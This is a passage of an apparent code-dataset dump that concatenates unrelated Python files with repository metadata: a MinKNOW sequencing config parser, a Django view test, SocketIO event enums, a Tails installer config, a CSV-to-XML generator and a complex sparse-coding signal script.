config[\"custom_settings\"][\"start_bias_voltage\"] = int(args.start_bias_voltage)\n\n if args.fast5:\n create_path(\"writer_configuration.read_fast5\", config)\n\n if args.fast5 == \"on\":\n set_path(\"writer_configuration.read_fast5.raw\", config, [[1, 3000]])\n\n elif args.fast5 == \"off\":\n # If fast5 is off, There are several things we want to do regardless of config:\n # * Always output skipped reads\n # * If batch_count/file_pattern is set make sure they also carry over\n\n read_fast5_from_file = config[\"writer_configuration\"].get(\"read_fast5\", {})\n\n # Make sure to just write skipped reads and give a batch_count so files can be split\n write_skipped_reads = {\n \"disable_writing_force_skipped_reads\": False,\n \"disable_writing_passed_reads\": True,\n \"disable_writing_failed_reads\": True,\n \"batch_count\": read_fast5_from_file.get(\"batch_count\", 4000),\n }\n\n if \"file_pattern\" in read_fast5_from_file:\n write_skipped_reads[\"file_pattern\"] = read_fast5_from_file[\"file_pattern\"]\n\n config[\"writer_configuration\"][\"read_fast5\"] = write_skipped_reads\n\n if args.base_calling:\n if args.base_calling == \"on\":\n config[\"basecaller_configuration\"][\"enable\"] = True\n # Find the correct guppy filename\n if args.guppy_filename:\n guppy_filename = args.guppy_filename\n else:\n guppy_filename = config[\"meta\"][\"protocol\"][\"default_basecall_model\"]\n config[\"basecaller_configuration\"][\"config_filename\"] = guppy_filename\n\n elif args.base_calling == \"off\":\n if \"basecaller_configuration\" in config:\n config[\"basecaller_configuration\"][\"enable\"] = False\n else:\n # If we weren't told whether to enable basecalling through flags,\n # Check if the basecaller section is enabled.\n # If it is and there isn't a config, pull it from the default_basecall_model if possible.\n # This is roundabout, but it tries to gather a valid basecall filename\n if find_path(\"basecaller_configuration.enable\", config) is True:\n if not find_path(\"basecaller_configuration.config_filename\", config):\n guppy_filename = find_path(\"meta.protocol.default_basecall_model\", config)\n if guppy_filename:\n config[\"basecaller_configuration\"][\"config_filename\"] = guppy_filename\n\n if args.barcoding_kits:\n warnings.warn(\"--barcoding_kits deprecated. See --barcoding argument\", DeprecationWarning)\n set_path(\"basecaller_configuration.barcoding_configuration.barcoding_kits\", config, args.barcoding_kits)\n\n if args.trim_barcodes:\n warnings.warn(\"--trim_barcodes deprecated. See --barcoding argument\", DeprecationWarning)\n config_path = \"basecaller_configuration.barcoding_configuration.trim_barcodes\"\n if args.trim_barcodes == \"on\":\n set_path(config_path, config, True)\n else:\n if find_path(config_path, config):\n set_path(config_path, config, False)\n\n if args.barcoding:\n config_path = \"basecaller_configuration.barcoding_configuration\"\n\n for entry in args.barcoding:\n label, data = entry.split(\"=\")\n new_data = ast.literal_eval(data)\n\n if new_data == \"off\":\n new_data = False\n elif new_data == \"on\":\n new_data = True\n\n set_path(f\"{config_path}.{label}\", config, new_data)\n\n if args.alignment:\n config_path = \"basecaller_configuration.alignment_configuration\"\n\n for entry in args.alignment:\n label, data = entry.split(\"=\")\n new_data = ast.literal_eval(data)\n\n set_path(f\"{config_path}.{label}\", config, new_data)\n\n if args.read_splitting:\n for entry in args.read_splitting:\n label, data = entry.split(\"=\")\n if label == \"enable\":\n if data == \"on\":\n set_path(\"basecaller_configuration.enable_read_splitting\", config, True)\n elif data == \"off\":\n set_path(\"basecaller_configuration.enable_read_splitting\", config, False)\n else:\n raise argparse.ArgumentTypeError(f\"Invalid read_splitting enable value {data}\")\n elif label in [\"min_score_read_splitting\"]:\n new_data = ast.literal_eval(data)\n set_path(f\"basecaller_configuration.{label}\", config, new_data)\n else:\n raise argparse.ArgumentTypeError(f\"Invalid read_splitting parameter {label}\")\n\n # Dynamically update read classifications based on adapter/strand\n # Needs to be done after args.barcoding\n update_read_classifiers(config, kit_config, args.kit)\n\n # Update context_tags with basecall information which could come from UI or config file\n if \"basecaller_configuration\" in config:\n bc = config[\"basecaller_configuration\"]\n # Update local basecalling and filename\n if bc.get(\"enable\"):\n config[\"meta\"][\"context_tags\"][\"local_basecalling\"] = 1\n config[\"meta\"][\"context_tags\"][\"basecall_config_filename\"] = bc.get(\"config_filename\", \"\")\n else:\n config[\"meta\"][\"context_tags\"][\"local_basecalling\"] = 0\n\n # Update barcoding information\n barcoding_kits = find_path(\"barcoding_configuration.barcoding_kits\", bc)\n if barcoding_kits:\n config[\"meta\"][\"context_tags\"][\"barcoding_enabled\"] = 1\n config[\"meta\"][\"context_tags\"][\"barcoding_kits\"] = \" \".join(barcoding_kits)\n\n if any([kit_config[kit].get(\"artic\") for kit in barcoding_kits]):\n\n # Not everywhere will have artic, if available then set up post processing\n try:\n load_config(os.path.join(CONFIG_DIR, ARTIC_CONFIG))\n process_request = minknow_api.basecaller_pb2.StartPostProcessingProtocolRequest()\n process_request.identifier = ARTIC_IDENTIFIER\n start_request = minknow_api.basecaller_service.StartRequest(\n start_post_processing_protocol_request=process_request\n )\n\n # Schedule artic pipeline\n device.connection.protocol.associate_post_processing_analysis_for_protocol(\n run_id=device.get_protocol_run_id(), start_request=start_request\n )\n except ConfigParseException as exc:\n logger.info(exc)\n logger.info(\n \"Artic kit specified, but Artic config not found/valid. \"\n + \"Not scheduling artic post processing.\"\n )\n\n # Guppy doesn't need to know about these artic kits\n # May get swapped to analysis kits in future\n # The voltrax artic kit is _not_ an expansion kit\n barcoding_kits = [\n barcoding_kit for barcoding_kit in barcoding_kits if not kit_config[barcoding_kit].get(\"artic\")\n ]\n bc[\"barcoding_configuration\"][\"barcoding_kits\"] = barcoding_kits\n\n else:\n config[\"meta\"][\"context_tags\"][\"barcoding_enabled\"] = 0\n\n # If barcoding is disabled or basecalling is disabled, remove barcode from the headers and filepath\n if not find_path(\"basecaller_configuration.enable\", config) or not find_path(\n \"basecaller_configuration.barcoding_configuration.barcoding_kits\", config\n ):\n header_paths = (\n \"writer_configuration.read_fast5.fastq_header_pattern\",\n \"writer_configuration.read_fastq.header_pattern\",\n )\n\n for header_path in header_paths:\n header = find_path(header_path, config)\n if header:\n header_components = header.split()\n new_header = \" \".join(filter(lambda x: not x.startswith(\"barcode\"), header_components))\n set_path(header_path, config, new_header)\n\n pattern_paths = (\n \"writer_configuration.read_fast5.file_pattern\",\n \"writer_configuration.read_fastq.file_pattern\",\n \"writer_configuration.read_bam.file_pattern\",\n )\n\n for pattern_path in pattern_paths:\n pattern = find_path(pattern_path, config)\n if pattern:\n new_pattern = pattern.replace(\"_{barcode_arrangement}\", \"\")\n new_pattern = new_pattern.replace(\"{barcode_arrangement}_\", \"\")\n set_path(pattern_path, config, new_pattern)\n\n if args.fast5_data:\n for data in args.fast5_data:\n if \"compress\" in data:\n if data == \"zlib_compress\":\n c_type = \"ZlibCompression\"\n else:\n c_type = \"VbzCompression\"\n config[\"writer_configuration\"][\"read_fast5\"][\"compression_type\"] = c_type\n else:\n config[\"writer_configuration\"][\"read_fast5\"][data] = [[1, 3000]]\n\n if args.fast5_reads_per_file:\n config[\"writer_configuration\"][\"read_fast5\"][\"batch_count\"] = args.fast5_reads_per_file\n\n if args.bam:\n if \"read_bam\" not in config[\"writer_configuration\"]:\n config[\"writer_configuration\"][\"read_bam\"] = {}\n\n # Either enable all channels on bam or none\n if args.bam == \"on\":\n config[\"writer_configuration\"][\"read_bam\"][\"enable\"] = [[1, 3000]]\n else:\n del config[\"writer_configuration\"][\"read_bam\"]\n\n if args.fastq:\n if \"read_fastq\" not in config[\"writer_configuration\"]:\n config[\"writer_configuration\"][\"read_fastq\"] = {}\n\n # Either enable all channels on fastq or none\n if args.fastq == \"on\":\n config[\"writer_configuration\"][\"read_fastq\"][\"enable\"] = [[1, 3000]]\n else:\n del config[\"writer_configuration\"][\"read_fastq\"]\n\n if args.fastq_data:\n for data in args.fastq_data:\n if data == \"compress\":\n config[\"writer_configuration\"][\"read_fastq\"][\"compression\"] = True\n\n # Extend the filename with .gz to indicate it's compressed\n fn = find_path(\"writer_configuration.read_fastq.file_pattern\", config)\n if fn and not fn.endswith(\".gz\"):\n set_path(\"writer_configuration.read_fastq.file_pattern\", config, fn + \".gz\")\n\n if args.fastq_reads_per_file:\n config[\"writer_configuration\"][\"read_fastq\"][\"batch_count\"] = args.fastq_reads_per_file\n\n if args.generate_bulk_file:\n if args.generate_bulk_file == \"on\":\n if \"bulk\" not in config[\"writer_configuration\"]:\n config[\"writer_configuration\"][\"bulk\"] = {}\n config[\"writer_configuration\"][\"bulk\"][\"device_metadata\"] = True\n config[\"writer_configuration\"][\"bulk\"][\"device_commands\"] = True\n config[\"writer_configuration\"][\"bulk\"][\"channel_states\"] = [[1, 3000]]\n config[\"writer_configuration\"][\"bulk\"][\"multiplex\"] = [[1, 3000]]\n\n else:\n # If off, no contents should have been specified\n if args.bulk_file_content:\n raise argparse.ArgumentError(\n args.generate_bulk_file, \"generate_bulk_file=off but bulk_file_content specified\"\n )\n\n if \"bulk\" in config[\"writer_configuration\"]:\n del config[\"writer_configuration\"][\"bulk\"]\n\n if args.bulk_file_content:\n for entry in args.bulk_file_content:\n label, data = entry.split(\"=\")\n # Grab a list representation of the string passed in\n new_data = ast.literal_eval(data)\n # Update the label\n if label == \"read_table\":\n label = \"reads\"\n\n config[\"writer_configuration\"][\"bulk\"][label] = new_data\n\n if args.read_filtering:\n config_path = \"basecaller_configuration.read_filtering\"\n\n for entry in args.read_filtering:\n label, data = entry.split(\"=\")\n set_path(f\"{config_path}.{label}\", config, ast.literal_eval(data))\n\n if args.active_channel_selection == \"on\":\n cs = config[\"custom_settings\"]\n if \"progressive_unblock\" in cs:\n cs[\"progressive_unblock\"][\"change_mux_after_last_tier\"] = True\n if \"group_manager\" in cs:\n cs[\"group_manager\"][\"swap_out_disabled_channels\"] = True\n if \"global_mux_change\" in cs[\"group_manager\"]:\n cs[\"group_manager\"][\"global_mux_change\"][\"enabled\"] = False\n\n elif args.active_channel_selection == \"off\":\n cs = config[\"custom_settings\"]\n if \"progressive_unblock\" in cs:\n cs[\"progressive_unblock\"][\"change_mux_after_last_tier\"] = False\n if \"group_manager\" in cs:\n cs[\"group_manager\"][\"swap_out_disabled_channels\"] = False\n\n if \"global_mux_change\" in cs[\"group_manager\"]:\n cs[\"group_manager\"][\"global_mux_change\"][\"enabled\"] = True\n\n if args.group_change_period:\n cs[\"group_manager\"][\"global_mux_change\"][\"interval\"] = int(args.group_change_period * 60 * 60)\n\n # Disable muxscan extra\n if \"mux_scan\" in cs:\n cs[\"mux_scan\"][\"interval\"] = 0\n\n if args.min_read_length is not None:\n set_path(\"custom_settings.min_read_length_base_pairs\", config, args.min_read_length)\n\n if args.mux_scan_period is not None:\n config[\"custom_settings\"][\"mux_scan\"][\"enabled\"] = True\n config[\"custom_settings\"][\"mux_scan\"][\"interval\"] = int(args.mux_scan_period * 60 * 60)\n\n if args.pore_reserve == \"on\":\n config[\"custom_settings\"][\"mux_scan\"][\"enable_reserve_pore\"] = True\n elif args.pore_reserve == \"off\":\n config[\"custom_settings\"][\"mux_scan\"][\"enable_reserve_pore\"] = False\n\n config = config_apply_to_device(config, device=device)\n\n args.config = config\n return args\n\n return wrapper\n\n\ndef escape_str(string: str) -> str:\n return string.replace(\"\\\\\", \"\\\\\\\\\")\n\n\ndef boolify(arg: str) -> bool:\n # This is here for backwards compatibility, otherwise the store_true flag makes much more sense\n # TODO: Maybe remove in the next major version in favor of store_true\n if arg in {\"True\", \"true\", \"1\", \"on\"}:\n return True\n elif arg in {\"False\", \"false\", \"0\", \"off\"}:\n return False\n raise argparse.ArgumentTypeError(f\"Invalid arg {arg}\")\n\n\ndef config_argument_parser() -> argparse.ArgumentParser:\n parser = argparse.ArgumentParser()\n\n parser.add_argument(\"--config\", help=\"Path to a configuration file to load and apply\", required=False)\n parser.add_argument(\"--sawtooth_url\", help=\"Internal use. Pass sawtooth url to the script\", required=False)\n parser.add_argument(\n \"--bias_voltage_offset_lookup_server\",\n help=\"Internal use. Look up bias voltage offset from server\",\n required=False,\n )\n parser.add_argument(\"--department\", help=\"Internal use. Pass department to context_tags\", required=False)\n parser.add_argument(\"--experiment_type\", help=\"Internal use. Override experiment_type in script\", required=False)\n parser.add_argument(\"--flow_cell_id\", help=\"DEPRECATED: No effect.\", required=False)\n parser.parse_args = parse_args_decorator(parser.parse_args)\n\n # Sequencing features. This is horrible. MinKNOW config grpc coming soon\n parser.add_argument(\"--experiment_time\", help=\"Run time in hours\", required=False, type=float)\n parser.add_argument(\n \"--start_bias_voltage\", help=\"Bias voltage to start the sequencing with\", required=False, type=int\n )\n\n # Basecall/guppy features\n parser.add_argument(\n \"--base_calling\", help=\"Whether to turn on local basecalling\", required=False, choices=[\"on\", \"off\"]\n )\n parser.add_argument(\n \"--barcoding_kits\",\n help=\"DEPRECATED: See barcoding. Which barcoding kits to pass to the basecaller\",\n required=False,\n nargs=\"+\",\n type=str,\n )\n parser.add_argument(\n \"--trim_barcodes\",\n help=\"DEPRECATED: See barcoding. Whether basecaller should trim barcodes\",\n required=False,\n choices=[\"on\", \"off\"],\n )\n parser.add_argument(\n \"--barcoding\",\n help=\"What barcoding values to pass to guppy. See barcoding_configuration \"\n + \"protobuf documentation for allowed values\",\n required=False,\n nargs=\"+\",\n )\n parser.add_argument(\n \"--alignment\",\n help=\"What alignment parameters to pass to guppy. See alignment_configuration \"\n + \"protobuf documentation for allowed values\",\n required=False,\n nargs=\"+\",\n type=escape_str,\n )\n parser.add_argument(\n \"--read_splitting\",\n help=\"What read_splitting parameters to pass to guppy. See basecaller_configuration \"\n + \"protobuf documentation for allowed values\",\n required=False,\n nargs=\"+\",\n )\n\n # Modify output formats\n parser.add_argument(\"--bam\", help=\"Whether to output bam\", required=False, choices=[\"on\", \"off\"])\n parser.add_argument(\"--fast5\", help=\"Whether to output fast5\", required=False, choices=[\"on\", \"off\"])\n parser.add_argument(\n \"--fast5_data\",\n nargs=\"+\",\n help=\"What fast5 options to otutput\",\n choices=[\"fastq\", \"raw\", \"trace_table\", \"move_table\", \"zlib_compress\", \"vbz_compress\"],\n required=False,\n )\n parser.add_argument(\n \"--fastq_data\", nargs=\"+\", help=\"What fastq options to otutput\", choices=[\"compress\"], required=False\n )\n parser.add_argument(\"--fast5_reads_per_file\", help=\"How many reads per file\", type=int, required=False)\n parser.add_argument(\"--fast5_reads_per_folder\", help=\"DEPRECATED: No effect.\", type=int, required=False)\n parser.add_argument(\"--fastq\", help=\"Whether to output fastq\", required=False, choices=[\"on\", \"off\"])\n parser.add_argument(\"--fastq_reads_per_file\", help=\"How many reads per file\", type=int, required=False)\n parser.add_argument(\n \"--generate_bulk_file\", help=\"Whether to output bulk files\", required=False, choices=[\"on\", \"off\"]\n )\n parser.add_argument(\"--bulk_file_content\", nargs=\"+\", help=\"What fast5 data to otutput\", required=False)\n parser.add_argument(\n \"--read_filtering\", nargs=\"+\", help=\"Which filters to cause a read to be in the pass folder\", required=False\n )\n\n # Modify custom settings\n parser.add_argument(\n \"--min_read_length\",\n type=int,\n help=\"Pass suggested min read length (in base pairs) to the config\",\n required=False,\n choices=[20, 200, 1000],\n )\n parser.add_argument(\n \"--mux_scan_period\", type=float, help=\"Run time between mux scans. 0 for disable mux scan\", required=False\n )\n parser.add_argument(\n \"--active_channel_selection\",\n help=\"Whether to turn on or off active channel selection\",\n required=False,\n choices=[\"on\", \"off\"],\n )\n parser.add_argument(\"--group_change_period\", type=float, help=\"How often to change groups(hours)\", required=False)\n parser.add_argument(\"--guppy_filename\", type=str, help=\"Guppy filename to use for basecalling\", required=False)\n parser.add_argument(\"--kit\", help=\"Which kit is being run.\", type=str, required=False)\n parser.add_argument(\"--lamp_kit\", help=\"Which lamp kit is being run.\", type=str, required=False)\n parser.add_argument(\n \"--pore_reserve\",\n help=\"Whether to turn on or off reserve pore feature\",\n required=False,\n choices=[\"on\", \"off\"],\n )\n parser.add_argument(\n \"--keep_power_on\", help=\"Internal use only. Allows elec1/2 to keep asic power on\", type=boolify, required=False\n )\n return parser\n","repo_name":"lysovosyl/NanoDeep","sub_path":"utility/config_argparse.py","file_name":"config_argparse.py","file_ext":"py","file_size_in_byte":26719,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"42515254936","text":"from unittest import TestCase\nfrom django.test import Client\nfrom django.urls import reverse\nfrom django.db import transaction\nimport warnings\n\n\nclass CreateRoomVacancyThemeViewTest(TestCase):\n \"\"\"\n 部屋空室テーマ作成ビューのテスト\n \"\"\"\n def setUp(self):\n warnings.simplefilter('ignore')\n self.client = Client()\n if transaction.get_autocommit():\n transaction.set_autocommit(False)\n\n response = self.client.post(\n reverse('login'),\n {'username': 't-kanri', 'password': 'guest1234', },\n follow=True\n )\n self.assertEqual(response.status_code, 200)\n\n def tearDown(self):\n transaction.rollback()\n\n def test_get_create_room_vacancy_theme_view(self):\n url = reverse(\n 'property_create_room_vacancy_theme',\n args=['ccac86695f1d4daaa499c38e871f3d52'], # サンプルマンション 101号室\n )\n response = self.client.get(url)\n\n self.assertEqual(response.status_code, 200)\n room = response.context['room']\n self.assertEqual(room.building.building_name, 'サンプルマンション')\n self.assertEqual(room.room_no, '101')\n\n def test_post_create_room_vacancy_theme_view(self):\n url = reverse(\n 'property_create_room_vacancy_theme',\n args=['ccac86695f1d4daaa499c38e871f3d52'], # サンプルマンション 101号室\n )\n\n response = self.client.post(\n url,\n {\n 'vacancy_theme': '1',\n },\n follow=True,\n )\n self.assertEqual(response.status_code, 200)\n messages = list(response.context['messages'])\n self.assertEqual(str(messages[0]), '追加しました。')\n","repo_name":"y-yamamoto-yworks/VasyworksMGR","sub_path":"src/vacancy_mgr/property/tests/views/test_create_vacancy_theme_view.py","file_name":"test_create_vacancy_theme_view.py","file_ext":"py","file_size_in_byte":1787,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"10467062810","text":"from enum import Enum\n\ndef extend_enum(inherited_enum):\n def wrapper(added_enum):\n joined = {}\n for item in inherited_enum:\n joined[item.name] = item.value\n for item in added_enum:\n joined[item.name] = item.value\n return Enum(added_enum.__name__, joined)\n return wrapper\n\n\nclass ConnectionEvent(Enum):\n \"\"\"basic SocketIO life-cycle event names.\"\"\"\n Connect = 'connect'\n Disconnect = 'disconnect'\n Reconnect = 'reconnect'\n\n\n@extend_enum(ConnectionEvent)\nclass ServerEvent(Enum):\n \"\"\"server-side SocketIO event handles' name.\"\"\"\n WakeUp = 'client_wake_up'\n Ready = 'client_ready'\n ResponseUpdate = 'client_update'\n ResponseEvaluate = 'client_evaluate'\n\n\n@extend_enum(ConnectionEvent)\nclass ClientEvent(Enum):\n \"\"\"client-side SocketIO event handles' name.\"\"\"\n Init = 'init'\n RequestUpdate = 'request_update'\n RequestEvaluate = 'request_evaluate'\n Stop = 'stop'\n\ndef event2message(event: ConnectionEvent) -> str:\n return event.value\n","repo_name":"Di-Chai/FedEval","sub_path":"FedEval/communicaiton/events.py","file_name":"events.py","file_ext":"py","file_size_in_byte":1030,"program_lang":"python","lang":"en","doc_type":"code","stars":34,"dataset":"github-code","pt":"5"} +{"seq_id":"27203718254","text":"# -*- coding: utf-8 -*-\n\nCONFIG = {\n # Minimum device size we accept as valid target for initial\n # installation, in MiB as in 1 MiB = 1024**2 bytes. I've seen USB\n # sticks labeled \"8 GB\" that were 7759462400 bytes = 7400 MiB\n # large, and one can probably fine even smaller ones, so let's be\n # nice with users who believed what was written on the box and\n # accept slightly smaller devices than what the theory\n # would dictate.\n 'min_installation_device_size': 7200,\n # Minimum device size we tell the user they should get, in MB\n # as in 1000 MB = 1 GB, i.e. let's use a unit close to what they will\n # see displayed in shops.\n 'official_min_installation_device_size': 8000,\n 'main_liveos_dir': 'live',\n 'running_liveos_mountpoint': '/lib/live/mount/medium',\n 'liveos_toplevel_files': [ 'autorun.bat', 'autorun.inf', 'boot', '.disk',\n 'doc', 'EFI', 'live', 'isolinux', 'syslinux',\n 'tmp', 'utils' ],\n 'persistence': { 'enabled': False,\n },\n 'branding': { 'distribution': 'Tails',\n 'header': 'tails-liveusb-header.png',\n 'color': '#56347c',\n 'partition_label': 'Tails',\n },\n}\n","repo_name":"dirtyfilthy/darktails","sub_path":"config/chroot_local-includes/usr/lib/python3/dist-packages/tails_installer/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":1272,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"5"} +{"seq_id":"25304029593","text":"from lxml import etree\nimport csv\nimport string\nimport sys\nimport pprint\nimport os\nimport subprocess\n\n#with open(sys.argv[1],'r') as csvfile:\n\nwith open(sys.argv[1],'r') as csvfile:\n\tkek = csv.reader(csvfile, delimiter=',')\n\tConfiguration = etree.Element('Configuration')\n\tcsvDict = {}\n\tcurrent = 0\n\tchapters = []\n\tlel = 0\n\n\tfor line in kek:\n\t\tnumber = line[0]\n\t\ttitle = line[1]\n\t\tsubtitle = ''.join(line[2:])\n\t\tif number:\n\t\t\tcurrent = int(number)\n\t\t\tloltitle = title\n\t\t\tcsvDict[title] = [subtitle]\n\t\telif subtitle:\n\t\t\tcsvDict[loltitle].append(subtitle)\n\n\t\tif title:\n\t\t\tchapters.append(title)\n\n\n\t\n\n\ndef slugify(stringy):\n\treturn stringy.lower().replace(\" \", \"_\").translate(None, \".,-'?!\").replace(\"__\", \"_\")\n\ndef mainblock(lol):\n\tConfiguration = etree.Element('Configuration')\n\tHead = etree.Element('Head')\n\tID = etree.Element('ID')\n\tID.text=(slugify(lol))\n\tDescription = etree.Element('Description', type=\"C\")\n\tcdata = etree.CDATA('')\n\tDescription.text = cdata\n\tVersion = etree.Element('Version')\n\tVersion.text=('')\n\tname = etree.Element('name')\n\tname.text = lol\n\tIcon = etree.Element('Icon', type=\"C\")\n\tIcon.text=cdata\n\tPartner = etree.Element('Partner')\n\tPartner.text=('Specadel Technologies Private Limited')\n\tOptionalConfiguration = etree.Element('OptionalConfiguration')\n\tQP_Version = etree.Element('QP_Version')\n\tQP_Version.text=('2.0')\n\tMenuPosition = etree.Element('MenuPosition')\n\tMenuPosition.text = str(chapters.index(lol) + 1)\n\n\tConfiguration.append(Head)\n\tHead.append(ID)\n\tHead.append(Description)\n\tHead.append(Version)\n\tHead.append(name)\n\tHead.append(Icon)\n\tHead.append(Partner)\n\tHead.append(OptionalConfiguration)\n\tOptionalConfiguration.append(QP_Version)\n\tOptionalConfiguration.append(MenuPosition)\n\n\tfor i in range(0, len(csvDict[lol])):\n\t\t\n\t\tSubMenu = etree.Element('SubMenu')\n\t\tcdata = etree.CDATA('')\n\t\tID2 = etree.Element('ID')\n\t\tID2.text = slugify(lol) + str(i + 1)\n\t\tname2 = etree.Element('name')\n\t\tname2.text = csvDict[lol][i].rstrip()\n\t\tIcon2 = etree.Element('Icon', type='C')\n\t\tIcon2.text = cdata\n\t\tDescription2 = etree.Element('Description', type='C')\n\t\tDescription2.text = cdata\n\t\tTimer = etree.Element('Timer', type='N')\n\t\tTimer.text='60'\n\t\tpath = etree.Element('path')\n\t\tpath.text = ''\n\t\tInstruction = etree.Element('Instruction', type='C')\n\t\tInstruction.text = cdata\n\t\tOptionalConfiguration2 = etree.Element('OptionalConfiguration')\n\t\tFileType = etree.Element('FileType')\n\t\tFileType.text = 'VIDEO'\n\n\t\tConfiguration.append(SubMenu)\n\t\tSubMenu.append(ID2)\n\t\tSubMenu.append(name2)\n\t\tSubMenu.append(Icon2)\n\t\tSubMenu.append(Description2)\n\t\tSubMenu.append(Timer)\n\t\tSubMenu.append(path)\n\t\tSubMenu.append(Instruction)\n\t\tSubMenu.append(OptionalConfiguration2)\n\t\tOptionalConfiguration2.append(FileType)\n\n\tdoc = etree.ElementTree(Configuration)\n\twith open('settings_'+slugify(lol)+'.xml', 'w') as outfile:\n\t\tdoc.write(outfile, pretty_print=True, encoding=\"UTF-8\", xml_declaration=True)\n\tos.mkdir(\"module_\"+slugify(lol))\n\n\n#def subblock(lol, i):\n\t\n\n\t##Writing to XML file\n\t\n\t#doc = etree.ElementTree(Configuration)\n\t#outfile = open('filename.xml', 'w')\n\t#doc.write(outfile, pretty_print=True, encoding=\"UTF-8\", xml_declaration=True)\ndef main():\n\n\tfor Num in range(0, len(csvDict)):\n\n\t\tmainblock(chapters[Num])\n\t\t\t#print len(csvDict[chapters[Num]])\n\t\t\t##Writing to XML file\n#pprint.pprint(csvDict)\nmain()\nsubprocess.call(['java', '-Dfile.encoding=UTF8 -jar', '/home/pisa/Downloads/Work/EncryptionTool/encryptdecrypt15042015.jar'])\n#print csvDict['Heat']\n#main()\n#print len(csvDict['Heat'])","repo_name":"aravindsfirst/CSV-to-XML-generator","sub_path":"new.py","file_name":"new.py","file_ext":"py","file_size_in_byte":3507,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"43152109745","text":"# -*- coding: utf-8 -*-\n# @Time : 2020-10-09 6:01 p.m.\n# @Author : young wang\n# @FileName: complex_cbpdn.py\n# @Software: PyCharm\n\n# from __future__ import division\n\n\"\"\"\nThe script solves convolutional basis pursuit denosing problem using the\nframework proposed by\n\nJ. Kang, D. Hong, J. Liu, G. Baier, N. Yokoya and B. Demir,\n\"Learning Convolutional Sparse Coding on Complex Domain for Interferometric Phase Restoration,\" in\nIEEE Transactions on Neural Networks and Learning Systems,\ndoi: 10.1109/TNNLS.2020.2979546.\n\nmatlab implementation by the authors can be found https://github.com/jiankang1991/ComCSC\ninput signal: complex sine wave with complex Gaussian noise\ninput dictionary: complex sine waves\n\n\"\"\"\n\nimport numpy as np\nfrom sporco.admm import comcbpdn, cbpdn\nfrom scipy import signal\nfrom sporco import signal as si\nfrom tqdm import tqdm\nfrom sporco import fft\nfrom sporco import plot\n\nfrom matplotlib import pyplot as plt\n\nimport random\nfrom numpy.fft import fft, fft2, ifft, ifft2\nfrom sklearn.metrics import r2_score\n# import sinesignal\nimport pickle\nimport copy\nfrom math import ceil\n\n# load measured point spread function\n# with open('psf_complex','rb') as f:\n# psf_complex = pickle.load(f)\n# f.close()\n# #load training signals: onion\n# with open('onion_complex','rb') as f:\n# onion_complex = pickle.load(f)\n# f.close()\n\nnp.seterr(divide='ignore')\n\nN = 128 # signal length\n\nA = 5 # amplitude\nM = 10 # filter number\nfd = np.linspace(5, 20, M)\nfs = 128 # sampling frequency must be higher enough to eliminate cutoff\ndimN = 1 # spatial dimension 1\n\n# create a complex gaussian noise using sporco.signal.complex_randn,\n# same length as input signal\nnoise = si.complex_randn(N)\n\nD0 = np.zeros((N, M), dtype=complex)\n# construct a complex sine dictionary\nfor i in range(len(fd)):\n D0[:, i] = sinesignal.generate_sine_wave_no(N, A, fd[i], fs, 0) + \\\n complex(0, 1) * sinesignal.generate_sine_wave_no(N, A, fd[i], fs, 0)\n\nlmbda_0 = M * abs(noise.max())\n\n# construct a 5Hz sine signal\ns_clean = np.zeros(N)\n\ns_clean = sinesignal.generate_sine_wave_no(N, A, 5, fs, 0) \\\n + complex(0, 1) * sinesignal.generate_sine_wave_no(N, A, 5, fs, 0)\n\ns_noise = s_clean + noise\n\ns_clean = s_clean[:, np.newaxis]\ns_noise = s_noise[:, np.newaxis]\n\nMaxiter = 200\nopt_par = cbpdn.ConvBPDN.Options({'Verbose': True, 'MaxMainIter': Maxiter,\n 'RelStopTol': 1e-4, 'AuxVarObj': False,\n 'AutoRho': {'Enabled': True}})\n\n# solve with real valued signal with real valued dictionary\nb_r = cbpdn.ConvBPDN(D0.real, s_noise.real, lmbda_0, opt=opt_par, dimK=None, dimN=dimN)\nx_r = b_r.solve()\nfig, ax = plot.subplots(nrows=2, ncols=3, sharex=True, sharey=True, figsize=(18, 8))\n\nrec_r = b_r.reconstruct().squeeze()\nfig.suptitle('real value solver ' + str(np.count_nonzero(x_r) * 100 / x_r.size) + '% non zero elements', fontsize=14)\nplot.plot(s_clean.real, title='clean(real)', fig=fig, ax=ax[0, 0])\nplot.plot(s_clean.imag, title='clean(imag)', fig=fig, ax=ax[1, 0])\n\nplot.plot(s_noise.real, title='corrupted(real)', fig=fig, ax=ax[0, 1])\nplot.plot(s_noise.imag, title='corrupted(imag)', fig=fig, ax=ax[1, 1])\n\nplot.plot(rec_r.real, title='reconstructed(real)', fig=fig, ax=ax[0, 2])\nplot.plot(rec_r.imag, title='reconstructed(imag)', fig=fig, ax=ax[1, 2])\n\nfig.show()\n# solve with a complex valued signal with complex valued dictionary\nb_c = comcbpdn.ComplexConvBPDN(D0, s_noise, lmbda_0, opt_par, None, dimN)\nx_c = b_c.solve()\nrec_c = b_c.reconstruct().squeeze()\n\nfig, ax = plot.subplots(nrows=2, ncols=3, sharex=True, sharey=True, figsize=(18, 8))\nfig.suptitle('complex value solver ' + str(np.count_nonzero(x_c) * 100 / x_c.size) + '% non zero elements', fontsize=14)\n\nplot.plot(s_clean.real, title='clean(real)', fig=fig, ax=ax[0, 0])\nplot.plot(s_clean.imag, title='clean(imag)', fig=fig, ax=ax[1, 0])\n\nplot.plot(s_noise.real, title='corrupted(real)', fig=fig, ax=ax[0, 1])\nplot.plot(s_noise.imag, title='corrupted(imag)', fig=fig, ax=ax[1, 1])\n\nplot.plot(rec_c.real, title='reconstructed(real)', fig=fig, ax=ax[0, 2])\nplot.plot(rec_c.imag, title='reconstructed(imag)', fig=fig, ax=ax[1, 2])\nfig.show()\n\nfig, axs = plt.subplots(nrows=3, ncols=1, figsize=(10, 10))\naxs[0].scatter(s_clean.real,s_clean.imag)\naxs[0].set_title('clean signal')\naxs[0].set_xlabel('real axis')\naxs[0].set_ylabel('imaginary axis')\n\naxs[1].scatter(s_noise.real,s_noise.imag)\naxs[1].set_title('corrupted signal')\naxs[1].set_xlabel('real axis')\naxs[1].set_ylabel('imaginary axis')\n\naxs[2].scatter(rec_c.real,rec_c.imag)\naxs[2].set_title('reconstructed signal')\naxs[2].set_xlabel('real axis')\naxs[2].set_ylabel('imaginary 